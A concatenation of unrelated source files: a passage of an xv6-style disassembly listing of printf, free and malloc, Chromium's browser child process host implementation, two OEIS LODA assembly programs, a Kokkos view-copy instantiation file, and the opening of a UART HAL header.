491: 0f 84 b3 00 00 00 je 54a <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
497: 8d 45 10 lea 0x10(%ebp),%eax
49a: 83 c6 01 add $0x1,%esi
state = 0;
49d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
49f: 89 45 d4 mov %eax,-0x2c(%ebp)
4a2: eb 2f jmp 4d3 <printf+0x53>
4a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
4a8: 83 f8 25 cmp $0x25,%eax
4ab: 0f 84 a7 00 00 00 je 558 <printf+0xd8>
write(fd, &c, 1);
4b1: 8d 45 e2 lea -0x1e(%ebp),%eax
4b4: 83 ec 04 sub $0x4,%esp
4b7: 88 5d e2 mov %bl,-0x1e(%ebp)
4ba: 6a 01 push $0x1
4bc: 50 push %eax
4bd: ff 75 08 pushl 0x8(%ebp)
4c0: e8 62 fe ff ff call 327 <write>
4c5: 83 c4 10 add $0x10,%esp
4c8: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
4cb: 0f b6 5e ff movzbl -0x1(%esi),%ebx
4cf: 84 db test %bl,%bl
4d1: 74 77 je 54a <printf+0xca>
if(state == 0){
4d3: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
4d5: 0f be cb movsbl %bl,%ecx
4d8: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
4db: 74 cb je 4a8 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
4dd: 83 ff 25 cmp $0x25,%edi
4e0: 75 e6 jne 4c8 <printf+0x48>
if(c == 'd'){
4e2: 83 f8 64 cmp $0x64,%eax
4e5: 0f 84 05 01 00 00 je 5f0 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
4eb: 81 e1 f7 00 00 00 and $0xf7,%ecx
4f1: 83 f9 70 cmp $0x70,%ecx
4f4: 74 72 je 568 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4f6: 83 f8 73 cmp $0x73,%eax
4f9: 0f 84 99 00 00 00 je 598 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4ff: 83 f8 63 cmp $0x63,%eax
502: 0f 84 08 01 00 00 je 610 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
508: 83 f8 25 cmp $0x25,%eax
50b: 0f 84 ef 00 00 00 je 600 <printf+0x180>
write(fd, &c, 1);
511: 8d 45 e7 lea -0x19(%ebp),%eax
514: 83 ec 04 sub $0x4,%esp
517: c6 45 e7 25 movb $0x25,-0x19(%ebp)
51b: 6a 01 push $0x1
51d: 50 push %eax
51e: ff 75 08 pushl 0x8(%ebp)
521: e8 01 fe ff ff call 327 <write>
526: 83 c4 0c add $0xc,%esp
529: 8d 45 e6 lea -0x1a(%ebp),%eax
52c: 88 5d e6 mov %bl,-0x1a(%ebp)
52f: 6a 01 push $0x1
531: 50 push %eax
532: ff 75 08 pushl 0x8(%ebp)
535: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
538: 31 ff xor %edi,%edi
write(fd, &c, 1);
53a: e8 e8 fd ff ff call 327 <write>
for(i = 0; fmt[i]; i++){
53f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
543: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
546: 84 db test %bl,%bl
548: 75 89 jne 4d3 <printf+0x53>
}
}
}
54a: 8d 65 f4 lea -0xc(%ebp),%esp
54d: 5b pop %ebx
54e: 5e pop %esi
54f: 5f pop %edi
550: 5d pop %ebp
551: c3 ret
552: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
558: bf 25 00 00 00 mov $0x25,%edi
55d: e9 66 ff ff ff jmp 4c8 <printf+0x48>
562: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
568: 83 ec 0c sub $0xc,%esp
56b: b9 10 00 00 00 mov $0x10,%ecx
570: 6a 00 push $0x0
572: 8b 7d d4 mov -0x2c(%ebp),%edi
575: 8b 45 08 mov 0x8(%ebp),%eax
578: 8b 17 mov (%edi),%edx
57a: e8 61 fe ff ff call 3e0 <printint>
ap++;
57f: 89 f8 mov %edi,%eax
581: 83 c4 10 add $0x10,%esp
state = 0;
584: 31 ff xor %edi,%edi
ap++;
586: 83 c0 04 add $0x4,%eax
589: 89 45 d4 mov %eax,-0x2c(%ebp)
58c: e9 37 ff ff ff jmp 4c8 <printf+0x48>
591: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
598: 8b 45 d4 mov -0x2c(%ebp),%eax
59b: 8b 08 mov (%eax),%ecx
ap++;
59d: 83 c0 04 add $0x4,%eax
5a0: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
5a3: 85 c9 test %ecx,%ecx
5a5: 0f 84 8e 00 00 00 je 639 <printf+0x1b9>
while(*s != 0){
5ab: 0f b6 01 movzbl (%ecx),%eax
state = 0;
5ae: 31 ff xor %edi,%edi
s = (char*)*ap;
5b0: 89 cb mov %ecx,%ebx
while(*s != 0){
5b2: 84 c0 test %al,%al
5b4: 0f 84 0e ff ff ff je 4c8 <printf+0x48>
5ba: 89 75 d0 mov %esi,-0x30(%ebp)
5bd: 89 de mov %ebx,%esi
5bf: 8b 5d 08 mov 0x8(%ebp),%ebx
5c2: 8d 7d e3 lea -0x1d(%ebp),%edi
5c5: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
5c8: 83 ec 04 sub $0x4,%esp
s++;
5cb: 83 c6 01 add $0x1,%esi
5ce: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
5d1: 6a 01 push $0x1
5d3: 57 push %edi
5d4: 53 push %ebx
5d5: e8 4d fd ff ff call 327 <write>
while(*s != 0){
5da: 0f b6 06 movzbl (%esi),%eax
5dd: 83 c4 10 add $0x10,%esp
5e0: 84 c0 test %al,%al
5e2: 75 e4 jne 5c8 <printf+0x148>
5e4: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
5e7: 31 ff xor %edi,%edi
5e9: e9 da fe ff ff jmp 4c8 <printf+0x48>
5ee: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
5f0: 83 ec 0c sub $0xc,%esp
5f3: b9 0a 00 00 00 mov $0xa,%ecx
5f8: 6a 01 push $0x1
5fa: e9 73 ff ff ff jmp 572 <printf+0xf2>
5ff: 90 nop
write(fd, &c, 1);
600: 83 ec 04 sub $0x4,%esp
603: 88 5d e5 mov %bl,-0x1b(%ebp)
606: 8d 45 e5 lea -0x1b(%ebp),%eax
609: 6a 01 push $0x1
60b: e9 21 ff ff ff jmp 531 <printf+0xb1>
putc(fd, *ap);
610: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
613: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
616: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
618: 6a 01 push $0x1
ap++;
61a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
61d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
620: 8d 45 e4 lea -0x1c(%ebp),%eax
623: 50 push %eax
624: ff 75 08 pushl 0x8(%ebp)
627: e8 fb fc ff ff call 327 <write>
ap++;
62c: 89 7d d4 mov %edi,-0x2c(%ebp)
62f: 83 c4 10 add $0x10,%esp
state = 0;
632: 31 ff xor %edi,%edi
634: e9 8f fe ff ff jmp 4c8 <printf+0x48>
s = "(null)";
639: bb 05 08 00 00 mov $0x805,%ebx
while(*s != 0){
63e: b8 28 00 00 00 mov $0x28,%eax
643: e9 72 ff ff ff jmp 5ba <printf+0x13a>
648: 66 90 xchg %ax,%ax
64a: 66 90 xchg %ax,%ax
64c: 66 90 xchg %ax,%ax
64e: 66 90 xchg %ax,%ax
00000650 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
650: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
651: a1 e0 0a 00 00 mov 0xae0,%eax
{
656: 89 e5 mov %esp,%ebp
658: 57 push %edi
659: 56 push %esi
65a: 53 push %ebx
65b: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
65e: 8d 4b f8 lea -0x8(%ebx),%ecx
661: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
668: 39 c8 cmp %ecx,%eax
66a: 8b 10 mov (%eax),%edx
66c: 73 32 jae 6a0 <free+0x50>
66e: 39 d1 cmp %edx,%ecx
670: 72 04 jb 676 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
672: 39 d0 cmp %edx,%eax
674: 72 32 jb 6a8 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
676: 8b 73 fc mov -0x4(%ebx),%esi
679: 8d 3c f1 lea (%ecx,%esi,8),%edi
67c: 39 fa cmp %edi,%edx
67e: 74 30 je 6b0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
680: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
683: 8b 50 04 mov 0x4(%eax),%edx
686: 8d 34 d0 lea (%eax,%edx,8),%esi
689: 39 f1 cmp %esi,%ecx
68b: 74 3a je 6c7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
68d: 89 08 mov %ecx,(%eax)
freep = p;
68f: a3 e0 0a 00 00 mov %eax,0xae0
}
694: 5b pop %ebx
695: 5e pop %esi
696: 5f pop %edi
697: 5d pop %ebp
698: c3 ret
699: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6a0: 39 d0 cmp %edx,%eax
6a2: 72 04 jb 6a8 <free+0x58>
6a4: 39 d1 cmp %edx,%ecx
6a6: 72 ce jb 676 <free+0x26>
{
6a8: 89 d0 mov %edx,%eax
6aa: eb bc jmp 668 <free+0x18>
6ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
6b0: 03 72 04 add 0x4(%edx),%esi
6b3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6b6: 8b 10 mov (%eax),%edx
6b8: 8b 12 mov (%edx),%edx
6ba: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6bd: 8b 50 04 mov 0x4(%eax),%edx
6c0: 8d 34 d0 lea (%eax,%edx,8),%esi
6c3: 39 f1 cmp %esi,%ecx
6c5: 75 c6 jne 68d <free+0x3d>
p->s.size += bp->s.size;
6c7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
6ca: a3 e0 0a 00 00 mov %eax,0xae0
p->s.size += bp->s.size;
6cf: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6d2: 8b 53 f8 mov -0x8(%ebx),%edx
6d5: 89 10 mov %edx,(%eax)
}
6d7: 5b pop %ebx
6d8: 5e pop %esi
6d9: 5f pop %edi
6da: 5d pop %ebp
6db: c3 ret
6dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000006e0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
6e0: 55 push %ebp
6e1: 89 e5 mov %esp,%ebp
6e3: 57 push %edi
6e4: 56 push %esi
6e5: 53 push %ebx
6e6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6e9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
6ec: 8b 15 e0 0a 00 00 mov 0xae0,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
6f2: 8d 78 07 lea 0x7(%eax),%edi
6f5: c1 ef 03 shr $0x3,%edi
6f8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
6fb: 85 d2 test %edx,%edx
6fd: 0f 84 9d 00 00 00 je 7a0 <malloc+0xc0>
703: 8b 02 mov (%edx),%eax
705: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
708: 39 cf cmp %ecx,%edi
70a: 76 6c jbe 778 <malloc+0x98>
70c: 81 ff 00 10 00 00 cmp $0x1000,%edi
712: bb 00 10 00 00 mov $0x1000,%ebx
717: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
71a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
721: eb 0e jmp 731 <malloc+0x51>
723: 90 nop
724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
728: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
72a: 8b 48 04 mov 0x4(%eax),%ecx
72d: 39 f9 cmp %edi,%ecx
72f: 73 47 jae 778 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
731: 39 05 e0 0a 00 00 cmp %eax,0xae0
737: 89 c2 mov %eax,%edx
739: 75 ed jne 728 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
73b: 83 ec 0c sub $0xc,%esp
73e: 56 push %esi
73f: e8 4b fc ff ff call 38f <sbrk>
if(p == (char*)-1)
744: 83 c4 10 add $0x10,%esp
747: 83 f8 ff cmp $0xffffffff,%eax
74a: 74 1c je 768 <malloc+0x88>
hp->s.size = nu;
74c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
74f: 83 ec 0c sub $0xc,%esp
752: 83 c0 08 add $0x8,%eax
755: 50 push %eax
756: e8 f5 fe ff ff call 650 <free>
return freep;
75b: 8b 15 e0 0a 00 00 mov 0xae0,%edx
if((p = morecore(nunits)) == 0)
761: 83 c4 10 add $0x10,%esp
764: 85 d2 test %edx,%edx
766: 75 c0 jne 728 <malloc+0x48>
return 0;
}
}
768: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
76b: 31 c0 xor %eax,%eax
}
76d: 5b pop %ebx
76e: 5e pop %esi
76f: 5f pop %edi
770: 5d pop %ebp
771: c3 ret
772: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
778: 39 cf cmp %ecx,%edi
77a: 74 54 je 7d0 <malloc+0xf0>
p->s.size -= nunits;
77c: 29 f9 sub %edi,%ecx
77e: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
781: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
784: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
787: 89 15 e0 0a 00 00 mov %edx,0xae0
}
78d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
790: 83 c0 08 add $0x8,%eax
}
793: 5b pop %ebx
794: 5e pop %esi
795: 5f pop %edi
796: 5d pop %ebp
797: c3 ret
798: 90 nop
799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
7a0: c7 05 e0 0a 00 00 e4 movl $0xae4,0xae0
7a7: 0a 00 00
7aa: c7 05 e4 0a 00 00 e4 movl $0xae4,0xae4
7b1: 0a 00 00
base.s.size = 0;
7b4: b8 e4 0a 00 00 mov $0xae4,%eax
7b9: c7 05 e8 0a 00 00 00 movl $0x0,0xae8
7c0: 00 00 00
7c3: e9 44 ff ff ff jmp 70c <malloc+0x2c>
7c8: 90 nop
7c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
7d0: 8b 08 mov (%eax),%ecx
7d2: 89 0a mov %ecx,(%edx)
7d4: eb b1 jmp 787 <malloc+0xa7>
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "content/browser/browser_child_process_host_impl.h"
#include "base/base_switches.h"
#include "base/bind.h"
#include "base/command_line.h"
#include "base/file_path.h"
#include "base/lazy_instance.h"
#include "base/logging.h"
#include "base/metrics/histogram.h"
#include "base/path_service.h"
#include "base/process_util.h"
#include "base/stl_util.h"
#include "base/string_util.h"
#include "content/browser/histogram_message_filter.h"
#include "content/browser/loader/resource_message_filter.h"
#include "content/browser/profiler_message_filter.h"
#include "content/browser/trace_message_filter.h"
#include "content/common/child_process_host_impl.h"
#include "content/common/plugin_messages.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/browser_child_process_host_delegate.h"
#include "content/public/browser/child_process_data.h"
#include "content/public/browser/content_browser_client.h"
#include "content/public/browser/notification_service.h"
#include "content/public/browser/notification_types.h"
#include "content/public/common/content_switches.h"
#include "content/public/common/result_codes.h"
#if defined(OS_MACOSX)
#include "content/browser/mach_broker_mac.h"
#endif
namespace content {
namespace {
static base::LazyInstance<BrowserChildProcessHostImpl::BrowserChildProcessList>
g_child_process_list = LAZY_INSTANCE_INITIALIZER;
// Helper functions since the child process related notifications happen on the
// UI thread.
void ChildNotificationHelper(int notification_type,
const ChildProcessData& data) {
NotificationService::current()->Notify(
notification_type, NotificationService::AllSources(),
Details<const ChildProcessData>(&data));
}
} // namespace
BrowserChildProcessHost* BrowserChildProcessHost::Create(
ProcessType type,
BrowserChildProcessHostDelegate* delegate) {
return new BrowserChildProcessHostImpl(type, delegate);
}
#if defined(OS_MACOSX)
base::ProcessMetrics::PortProvider* BrowserChildProcessHost::GetPortProvider() {
return MachBroker::GetInstance();
}
#endif
BrowserChildProcessHostImpl::BrowserChildProcessList*
BrowserChildProcessHostImpl::GetIterator() {
return g_child_process_list.Pointer();
}
BrowserChildProcessHostImpl::BrowserChildProcessHostImpl(
ProcessType type,
BrowserChildProcessHostDelegate* delegate)
: data_(type),
delegate_(delegate) {
data_.id = ChildProcessHostImpl::GenerateChildProcessUniqueId();
child_process_host_.reset(ChildProcessHost::Create(this));
child_process_host_->AddFilter(new TraceMessageFilter);
child_process_host_->AddFilter(new ProfilerMessageFilter(type));
child_process_host_->AddFilter(new HistogramMessageFilter());
g_child_process_list.Get().push_back(this);
GetContentClient()->browser()->BrowserChildProcessHostCreated(this);
}
BrowserChildProcessHostImpl::~BrowserChildProcessHostImpl() {
g_child_process_list.Get().remove(this);
}
// static
void BrowserChildProcessHostImpl::TerminateAll() {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
// Make a copy since the BrowserChildProcessHost dtor mutates the original
// list.
BrowserChildProcessList copy = g_child_process_list.Get();
for (BrowserChildProcessList::iterator it = copy.begin();
it != copy.end(); ++it) {
delete (*it)->delegate(); // ~*HostDelegate deletes *HostImpl.
}
}
void BrowserChildProcessHostImpl::Launch(
#if defined(OS_WIN)
const FilePath& exposed_dir,
#elif defined(OS_POSIX)
bool use_zygote,
const base::EnvironmentVector& environ,
#endif
CommandLine* cmd_line) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
GetContentClient()->browser()->AppendExtraCommandLineSwitches(
cmd_line, data_.id);
const CommandLine& browser_command_line = *CommandLine::ForCurrentProcess();
static const char* kForwardSwitches[] = {
#if defined(OS_POSIX)
switches::kChildCleanExit,
#endif
switches::kDisableLogging,
switches::kEnableDCHECK,
switches::kEnableLogging,
switches::kLoggingLevel,
switches::kV,
switches::kVModule,
};
cmd_line->CopySwitchesFrom(browser_command_line, kForwardSwitches,
arraysize(kForwardSwitches));
child_process_.reset(new ChildProcessLauncher(
#if defined(OS_WIN)
exposed_dir,
#elif defined(OS_POSIX)
use_zygote,
environ,
child_process_host_->TakeClientFileDescriptor(),
#endif
cmd_line,
data_.id,
this));
}
const ChildProcessData& BrowserChildProcessHostImpl::GetData() const {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
return data_;
}
ChildProcessHost* BrowserChildProcessHostImpl::GetHost() const {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
return child_process_host_.get();
}
base::ProcessHandle BrowserChildProcessHostImpl::GetHandle() const {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
DCHECK(child_process_.get())
<< "Requesting a child process handle before launching.";
DCHECK(child_process_->GetHandle())
<< "Requesting a child process handle before launch has completed OK.";
return child_process_->GetHandle();
}
void BrowserChildProcessHostImpl::SetName(const string16& name) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
data_.name = name;
}
void BrowserChildProcessHostImpl::SetHandle(base::ProcessHandle handle) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
data_.handle = handle;
}
void BrowserChildProcessHostImpl::ForceShutdown() {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
g_child_process_list.Get().remove(this);
child_process_host_->ForceShutdown();
}
void BrowserChildProcessHostImpl::SetTerminateChildOnShutdown(
bool terminate_on_shutdown) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
child_process_->SetTerminateChildOnShutdown(terminate_on_shutdown);
}
void BrowserChildProcessHostImpl::Notify(int type) {
BrowserThread::PostTask(
BrowserThread::UI,
FROM_HERE,
base::Bind(&ChildNotificationHelper, type, data_));
}
base::TerminationStatus BrowserChildProcessHostImpl::GetTerminationStatus(
int* exit_code) {
DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));
if (!child_process_.get()) // If the delegate doesn't use Launch() helper.
return base::GetTerminationStatus(data_.handle, exit_code);
return child_process_->GetChildTerminationStatus(false /* known_dead */,
exit_code);
}
bool BrowserChildProcessHostImpl::OnMessageReceived(
const IPC::Message& message) {
return delegate_->OnMessageReceived(message);
}
void BrowserChildProcessHostImpl::OnChannelConnected(int32 peer_pid) {
Notify(NOTIFICATION_CHILD_PROCESS_HOST_CONNECTED);
delegate_->OnChannelConnected(peer_pid);
}
void BrowserChildProcessHostImpl::OnChannelError() {
delegate_->OnChannelError();
}
bool BrowserChildProcessHostImpl::CanShutdown() {
return delegate_->CanShutdown();
}
void BrowserChildProcessHostImpl::OnChildDisconnected() {
DCHECK(data_.handle != base::kNullProcessHandle);
int exit_code;
base::TerminationStatus status = GetTerminationStatus(&exit_code);
switch (status) {
case base::TERMINATION_STATUS_PROCESS_CRASHED:
case base::TERMINATION_STATUS_ABNORMAL_TERMINATION: {
delegate_->OnProcessCrashed(exit_code);
// Report that this child process crashed.
Notify(NOTIFICATION_CHILD_PROCESS_CRASHED);
UMA_HISTOGRAM_ENUMERATION("ChildProcess.Crashed",
data_.type,
PROCESS_TYPE_MAX);
break;
}
case base::TERMINATION_STATUS_PROCESS_WAS_KILLED: {
delegate_->OnProcessCrashed(exit_code);
// Report that this child process was killed.
UMA_HISTOGRAM_ENUMERATION("ChildProcess.Killed",
data_.type,
PROCESS_TYPE_MAX);
break;
}
case base::TERMINATION_STATUS_STILL_RUNNING: {
UMA_HISTOGRAM_ENUMERATION("ChildProcess.DisconnectedAlive",
data_.type,
PROCESS_TYPE_MAX);
}
default:
break;
}
UMA_HISTOGRAM_ENUMERATION("ChildProcess.Disconnected",
data_.type,
PROCESS_TYPE_MAX);
// Notify in the main loop of the disconnection.
Notify(NOTIFICATION_CHILD_PROCESS_HOST_DISCONNECTED);
delete delegate_; // Will delete us
}
bool BrowserChildProcessHostImpl::Send(IPC::Message* message) {
return child_process_host_->Send(message);
}
void BrowserChildProcessHostImpl::OnProcessLaunched() {
if (!child_process_->GetHandle()) {
delete delegate_; // Will delete us
return;
}
data_.handle = child_process_->GetHandle();
delegate_->OnProcessLaunched();
}
} // namespace content
|
; A032916: Numbers whose set of base 9 digits is {1,3}.
; 1,3,10,12,28,30,91,93,109,111,253,255,271,273,820,822,838,840,982,984,1000,1002,2278,2280,2296,2298,2440,2442,2458,2460,7381,7383,7399,7401,7543,7545,7561,7563,8839,8841,8857,8859,9001,9003,9019,9021,20503,20505,20521,20523,20665,20667,20683,20685,21961,21963,21979,21981,22123,22125,22141,22143,66430,66432,66448,66450,66592,66594,66610,66612,67888,67890,67906,67908,68050,68052,68068,68070,79552,79554,79570,79572,79714,79716,79732,79734,81010,81012,81028,81030,81172,81174,81190,81192,184528,184530,184546,184548,184690,184692
seq $0,32925 ; Numbers whose set of base 4 digits is {1,2}.
seq $0,33162 ; Begins with (3, 4); avoids 3-term arithmetic progressions.
sub $0,3
|
; A016894: (5n+3)^10.
; 59049,1073741824,137858491849,3570467226624,41426511213649,296196766695424,1531578985264449,6278211847988224,21611482313284249,64925062108545024,174887470365513049,430804206899405824,984930291881790849,2113922820157210624,4297625829703557649,8335775831236199424,15516041187205853449,27850097600940212224,48398230717929318249,81707280688754689024,134391637934412192049,215892499727278669824,339456738992222314849,523383555379856794624,792594609605189126649,1180591620717411303424,1731874467807835667449,2504902718110474036224,3575694237941010577249,5042166166892418433024,7029336084596720096049,9695514708609891533824,13239635967018160063849,17909885825636445978624,24013807852610947920649,31930081208285372007424,42122185590781554706449,55154187683317729460224,71708904873278937061249,92608724480901579777024,118839380482575369225049,151577014775638417997824,192218876443582475037849,242418040278232804762624,304122555034158459939649,379619462565741198311424,471584161164422542970449,583135620108095986484224,717897987691852588770249,880069171864760718721024,1074497011086501939579049,1306763693175932538061824,1583279121786431447236849,1911383973745667813146624,2299463235875612705183649,2757071057097666970215424,3295067800663118480459449,3925770232266214525108224,4663115832631376345704249,5522842277952930315265024,6522683188340621511158049,7682581303222547931725824,9024920303514444856660849,10574776563315896351130624,12360192178975492163652649,14412470690613620767719424,16766496980638930547173449,19461082905477938625332224,22539340290692258087863249,26049082995919886849409024,30043259834681392663962049,34580420215074076278989824,39725214450772735983309849,45548930777599929298714624,52130071199257068815346649,59554968376655736670823424,67918445868691693423112449,77324524128297629567156224,87887174756230199195247249,99731125616327722801153024,112992719519952587477991049,127820829294042245259853824,144377832156670251607183849,162840646436299433535898624,183401833786028468140265649,206270770162126324759527424,231674888957051615288276449,259860999801001344630580224,291096686672861294547856249,325671789091273746650497024,363899970289432891533245049,406120376413199518554317824,452699390921229872008282849,504032488508074331942682624,560546193016655269118409649,622700143955215471113831424,690989276385774377822665449,765946119106374437095604224,848143216207979632525690249,938195677248838082877441024
mul $0,5
add $0,3
pow $0,10
|
//@HEADER
// ************************************************************************
//
// Kokkos v. 2.0
// Copyright (2014) Sandia Corporation
//
// Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,
// the U.S. Government retains certain rights in this software.
//
// Kokkos is licensed under 3-clause BSD terms of use:
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// 1. Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// 3. Neither the name of the Corporation nor the names of the
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY SANDIA CORPORATION "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SANDIA CORPORATION OR THE
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Questions? Contact Christian R. Trott (crtrott@sandia.gov)
//
// ************************************************************************
//@HEADER
#define KOKKOS_IMPL_COMPILING_LIBRARY true
#include <Kokkos_Core.hpp>
namespace Kokkos {
namespace Impl {
KOKKOS_IMPL_VIEWCOPY_ETI_INST(int64_t****, LayoutRight, LayoutRight, OpenMP,
int)
KOKKOS_IMPL_VIEWCOPY_ETI_INST(int64_t****, LayoutRight, LayoutLeft, OpenMP, int)
KOKKOS_IMPL_VIEWCOPY_ETI_INST(int64_t****, LayoutRight, LayoutStride, OpenMP,
int)
KOKKOS_IMPL_VIEWFILL_ETI_INST(int64_t****, LayoutRight, OpenMP, int)
} // namespace Impl
} // namespace Kokkos
|
/*! \file */ //Copyright 2011-2018 Tyler Gilbert; All Rights Reserved
#ifndef SAPI_UART_HPP_
#define SAPI_UART_HPP_
#include <sos/dev/uart.h>
#include "PinAssignment.hpp"
#include "Periph.hpp"
namespace hal {
/*! \brief UART Pin Assignment
* \details This class allows simple manipulation of the uart_pin_assignment_t.
*
* \code
* UartPinAssignment pin_assignment;
* pin_assignment->tx = mcu_pin(0,1);
* pin_assignment->rx = mcu_pin(0,1);
*
* Uart uart(0);
* uart.set_attr(Uart::FLAG_SET_LINE_CODING, 115200, 8, pin_assignment);
* \endcode
*
* \sa hal::Uart
*/
